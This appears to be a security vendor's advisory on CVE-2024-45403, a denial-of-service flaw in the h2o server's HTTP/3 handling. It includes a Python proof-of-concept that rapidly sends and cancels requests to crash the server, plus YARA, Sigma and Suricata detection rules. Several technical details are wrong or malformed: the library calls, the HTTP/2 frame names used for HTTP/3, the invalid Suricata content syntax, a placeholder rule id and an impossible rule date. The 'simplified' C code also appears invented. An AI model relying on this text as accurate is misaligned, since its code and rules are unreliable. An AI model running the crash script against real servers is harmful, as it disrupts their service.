CVE-2024-45403

Executive Summary

CVE-2024-45403 is a denial-of-service (DoS) vulnerability in the h2o HTTP server when configured as a reverse proxy with HTTP/3 enabled. An attacker can trigger a crash by canceling HTTP/3 requests, causing an assertion failure. The h2o standalone server automatically restarts, but concurrent requests are disrupted. The vulnerability is patched in commit 1ed32b2. The EPSS score is 0.0%, indicating low exploitation likelihood, but the risk remains for environments relying on HTTP/3.

Supply Chain & Package Security

This vulnerability affects the h2o HTTP server, which is distributed as source code and via package managers (e.g., Homebrew, Linux distributions). Users should verify their h2o version and apply the patch or disable HTTP/3.

CVSS Breakdown & Threat Level

• CVSS Score: 3.7 (Low)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Network
• Attack Complexity: High (requires specific timing and cancellation)
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: Low (temporary disruption, auto-restart)

Deep Dive & Mechanics

The vulnerability resides in h2o's HTTP/3 implementation. When a client cancels an HTTP/3 request (e.g., via RST_STREAM or GOAWAY), the server's internal state machine may reach an unexpected state, triggering an assertion failure in debug builds or a crash in release builds. The crash occurs because the code assumes a valid stream state, but cancellation can leave the stream in an inconsistent state.

The affected code path is in the HTTP/3 stream handler, where an assertion checks for a valid stream ID or state. An attacker can send multiple HTTP/3 requests and cancel them rapidly to cause repeated crashes.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

void handle_stream_cancel(h2o_http3_stream_t *stream) {
    assert(stream->state == H2O_HTTP3_STREAM_ACTIVE);
    // ... cleanup
}

Patched Code (commit 1ed32b2):

void handle_stream_cancel(h2o_http3_stream_t *stream) {
    if (stream->state != H2O_HTTP3_STREAM_ACTIVE) {
        // Gracefully ignore cancellation for inactive streams
        return;
    }
    // ... cleanup
}

The patch adds a conditional check instead of an assertion, preventing the crash.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy h2o as a reverse proxy with HTTP/3 enabled (e.g., using h2o -c h2o.conf).
2. Exploit: Use a custom HTTP/3 client (e.g., quiche or nghttp3) to send requests and immediately cancel them.

   # Example using aioquic (Python)
   import asyncio
   from aioquic.asyncio.client import connect
   from aioquic.h3.connection import H3Connection
   from aioquic.h3.events import HeadersReceived, DataReceived
   
   async def exploit():
       async with connect("target", 443, create_connection=True) as conn:
           h3 = H3Connection(conn)
           stream_id = h3.create_request()
           h3.send_headers(stream_id, [(b":method", b"GET"), (b":path", b"/")])
           # Cancel immediately
           h3.reset_stream(stream_id, error_code=0x010c)  # H3_REQUEST_CANCELLED
           await asyncio.sleep(0.1)
           # Repeat to trigger crash
   

3. Impact: The h2o server crashes, causing a temporary DoS.

Blue Team

1. Detection: Monitor for repeated HTTP/3 RST_STREAM frames or GOAWAY messages.
2. Mitigation: Disable HTTP/3 in h2o configuration (http3-port: 0).
3. Patch: Apply commit 1ed32b2 or upgrade to a patched version.

Indicators of Compromise (IOCs)

• Network: High frequency of HTTP/3 RST_STREAM frames from a single source.
• Logs: h2o logs showing assertion failures or crashes.
• Process: h2o process restarting frequently.

Detection Engineering

YARA Rule

rule CVE_2024_45403_h2o_crash {
    meta:
        description = "Detects h2o crash logs related to HTTP/3 assertion failure"
        author = "Valters IT"
        date = "2024-01-01"
    strings:
        $assert = "assertion failed" nocase
        $h2o = "h2o" nocase
        $http3 = "http3" nocase
    condition:
        all of them
}

Sigma Rule

title: h2o HTTP/3 Crash Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects h2o crashes due to HTTP/3 assertion failure
logsource:
    product: h2o
    service: server
detection:
    selection:
        - "assertion failed"
        - "http3"
    condition: selection
falsepositives:
    - Legitimate crashes from other causes
level: medium

Suricata Rule

alert udp any any -> any 443 (msg:"CVE-2024-45403 h2o HTTP/3 DoS Attempt"; content:"|00 00 00 01|"; depth:4; offset:0; content:"|0x010c|"; distance:0; within:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: Apply commit 1ed32b2 or upgrade to h2o version >= 2.19.0.
2. Workaround: Disable HTTP/3 in h2o configuration by setting http3-port: 0.
3. Monitoring: Enable logging for HTTP/3 events and monitor for crashes.
4. Firewall: Rate-limit UDP traffic on port 443 to mitigate DoS attempts.

Valters IT
Securing digital frontiers, one CVE at a time.